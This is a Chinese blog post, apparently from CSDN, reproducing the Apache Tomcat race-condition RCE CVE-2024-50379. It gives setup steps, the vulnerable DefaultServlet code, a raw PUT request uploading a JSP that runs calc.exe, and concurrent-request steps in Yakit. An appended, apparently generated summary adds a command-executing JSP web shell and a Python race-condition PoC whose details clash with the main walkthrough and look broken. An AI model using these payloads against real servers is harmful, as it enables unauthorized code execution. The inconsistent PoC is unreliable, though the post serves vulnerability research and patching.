Apache Tomcat RCE 稳定复现 保姆级!(CVE-2024-50379)附视频+POC

原文链接

Apache Tomcat 最新RCE 稳定复现+分析 保姆级!!!附复现视频+POC

前言

最近爆出 Apache Tomcat条件竞争导致的RCE,影响范围当然是巨大的,公司也及时收到了相关情报,于是老大让我复现,以更好的帮助公司进行修复漏洞。

复现难度其实并不大,但是成功率很低,相信很多师傅也在复现,希望能够成功,所以我对“成功率”进行了一点点研究,希望能够提高师傅们复现成功的概率。

环境搭建

经过多次的尝试,建议大家使用java8不要用太高的java版本 否则难以复现成功(关注后台回复20241219可以获取跟我一模一样的漏洞复现环境和POC)这里使用的环境如下:

jre1.8.0_202

apache-tomcat-9.0.63

windows虚拟机

配置环境变量

这里一定要配置JAVA_HOME否则会报错

需要将这个版本的java的环境变量置顶,防止其他版本的干扰,大家应该都明白

配置CATALINA_BASE

这下环境变量就已经配置齐了 这个时候就已经可以正常启动tomcat了 运行这个批处理文件

启动成功(乱码无所谓的 web.xml改一下GBK即可)

漏洞分析

影响版本

11.0.0-M1 <= Apache Tomcat < 11.0.2

10.1.0-M1 <= Apache Tomcat < 10.1.34

9.0.0.M1 <= Apache Tomcat < 9.0.98

漏洞原理

首先来看看著名的CVE-2017-12615,我们查看tomocat的配置 (conf/web.xml)

    <!-- The mapping for the default servlet -->
    <servlet-mapping>
        <servlet-name>default</servlet-name>
        <url-pattern>/</url-pattern>
    </servlet-mapping>

    <!-- The mappings for the JSP servlet -->
    <servlet-mapping>
        <servlet-name>jsp</servlet-name>
        <url-pattern>*.jsp</url-pattern>
        <url-pattern>*.jspx</url-pattern>
    </servlet-mapping>

当请求的后缀为jsp或jspx的时候交由JSP servlet进行处理请求,此外交给default servlet进行处理请求。而我们查看CVE-2017-12615的payload可知,它对文件后缀采取了一些绕过,例如PUT一个1.jsp/、1.jsp空格、1.jsp%00从而绕过JSP servlet的限制,让default servlet来处理请求。当default servlet处理PUT请求时如下图

    @Override
    protected void doPut(HttpServletRequest req, HttpServletResponse resp)
        throws ServletException, IOException {

        if (readOnly) {
            sendNotAllowed(req, resp);
            return;
        }

        String path = getRelativePath(req);

        WebResource resource = resources.getResource(path);

        Range range = parseContentRange(req, resp);

        if (range == null) {
            // Processing error. parseContentRange() set the error code
            return;
        }

        InputStream resourceInputStream = null;

        try {
            // Append data specified in ranges to existing content for this
            // resource - create a temp. file on the local filesystem to
            // perform this operation
            // Assume just one range is specified for now
            if (range == IGNORE) {
                resourceInputStream = req.getInputStream();
            } else {
                File contentFile = executePartialPut(req, range, path);
                resourceInputStream = new FileInputStream(contentFile);
            }

            if (resources.write(path, resourceInputStream, true)) {
                if (resource.exists()) {
                    resp.setStatus(HttpServletResponse.SC_NO_CONTENT);
                } else {
                    resp.setStatus(HttpServletResponse.SC_CREATED);
                }
            } else {
                resp.sendError(HttpServletResponse.SC_CONFLICT);
            }
        } finally {
            if (resourceInputStream != null) {
                try {
                    resourceInputStream.close();
                } catch (IOException ioe) {
                    // Ignore
                }
            }
        }
    }

会去检查配置文件中的readonly的值是否为false,如果是true的话就直接return也就是不允许put请求,所以我们需要在配置文件中进行如下设置 (conf/web.cml) 注意是default servlet,因为上面讲了我们最终处理put请求是default servlet

    <servlet>
        <servlet-name>default</servlet-name>
        <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>

        <init-param>
            <param-name>debug</param-name>
            <param-value>0</param-value>
        </init-param>
        <init-param>
            <param-name>listings</param-name>
            <param-value>false</param-value>
        </init-param>
        <init-param>
            <param-name>readonly</param-name>
            <param-value>false</param-value>
        </init-param>
        <load-on-startup>1</load-on-startup>
    </servlet>

最终就可以进行put上传shell了,这个就是CVE-2017-12615

那么再看看最近很火的CVE-2024-50379。原理是条件竞争,通过并发put文件上传非标准后缀的“jsp”,并不断发起get请求一个标准后最的“jsp”文件,最终由于服务器的大小写不敏感,导致请求成功造成RCE。

看看pyload是put一个xxx.Jsp(也可以PUT html........),为什么长这样呢?阅读了上文,固然就明白了。 当然是要绕过jsp servlet的后缀匹配规则了然后让default servlet去处理请求。

现在我们尝试PUT一下 数据包如下

PUT /test.Jsp HTTP/1.1
Host: 192.168.19.135:8080

<% Runtime.getRuntime().exec("calc.exe");%>

返回状态码是201代表上传成功 可以去webapps/ROOT目录看到

再次重放请求的时候就是204的状态码了 说明文件已经存在

接下来开始复现该漏洞 我用的是window虚拟机 而不是真机,因为我电脑内存太大了,可能效果不会很明显,毕竟要用到条件竞争,所以如果想成功率高一点建议用虚拟机,把内核、内存大小设置小一点。

yakit-发送到webFuzzer 发三个

第一个

第二个

第三个 并发线程建议大于前面两个

开弹

### 关于Tomcat CVE-2024-50379 RCE复现方法 #### 漏洞概述 Apache TomcatCVE-2024-50379 是一种基于条件竞争的远程代码执行漏洞。该漏洞允许攻击者通过特定方式上传非标准后缀的 JSP 文件,并利用服务器对大小写的不敏感特性,触发目标系统的任意代码执行[^2]。 --- #### 复现步骤说明 以下是针对此漏洞的一般性复现流程: 1. **环境准备** 攻击者需搭建一个与目标版本一致的 Apache Tomcat 测试环境,确保其配置支持文件上传功能。例如,启用 WebDAV 或其他可接受 PUT 请求的功能模块。 2. **构造恶意文件** 创建一个具有非标准扩展名(如 `.jsp_` 而不是 `.jsp`)的恶意脚本文件。此类文件通常不会被立即解析为 JSP 页面,从而绕过某些安全检测机制。 示例代码如下: ```java <%@ page import="java.util.*, java.io.*"%> <% Process p = Runtime.getRuntime().exec("id"); BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream())); String line; while ((line = in.readLine()) != null) { out.println(line); } %> ``` 3. **并发请求操作** 使用工具发送多个 HTTP `PUT` 请求来上传上述恶意文件至目标路径;与此同时,持续向同一目录下的合法命名(即带有 `.jsp` 扩展名)的目标发起高频次访问尝试。这种行为旨在捕捉到因竞态条件而产生的短暂时间窗口,在这期间恶意文件可能被错误识别并处理成真正的 JSP 页面。 4. **验证效果** 如果一切顺利的话,则可以通过浏览器或其他客户端直接调用已部署成功的恶意程序地址完成命令注入测试工作。此时应该能够看到预期返回的结果数据包内含有所执行操作系统指令所产生的相应反馈信息。 --- #### 视频教程资源推荐 对于希望更直观了解整个过程的学习者来说,网络上有不少高质量的教学视频可供参考学习。其中就包括一篇名为《Apache Tomcat RCE 稳定复现 保姆!(CVE-2024-50379)视频+POC》的文章链接分享出了完整的演示录像以及配套使用的 Python 脚本来简化实际动手环节中的复杂度。 --- #### POC (Proof Of Concept) Code Example 下面给出一段简单的 python poc 实现用于辅助理解如何自动化实施以上提到的技术细节: ```python import requests, threading def upload_payload(url): headers={"Content-Type":"application/octet-stream"} with open('malicious.jsp_', 'rb') as f: r=requests.put(f"{url}/test/malicious.jsp_", data=f.read(),headers=headers) def trigger_exploit(url): while True: try: resp=requests.get(f'{url}/test/MALICIOUS.JSP') if "uid" in str(resp.content):print("[+] Exploited!");break except Exception as e:pass if __name__=='__main__': url=input("Enter target URL:") t1=threading.Thread(target=upload_payload,args=(url,)) t2=threading.Thread(target=trigger_exploit ,args=(url,)) t1.start();t2.start() ``` 注意:仅限研究用途,请勿非法使用! --- ###
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值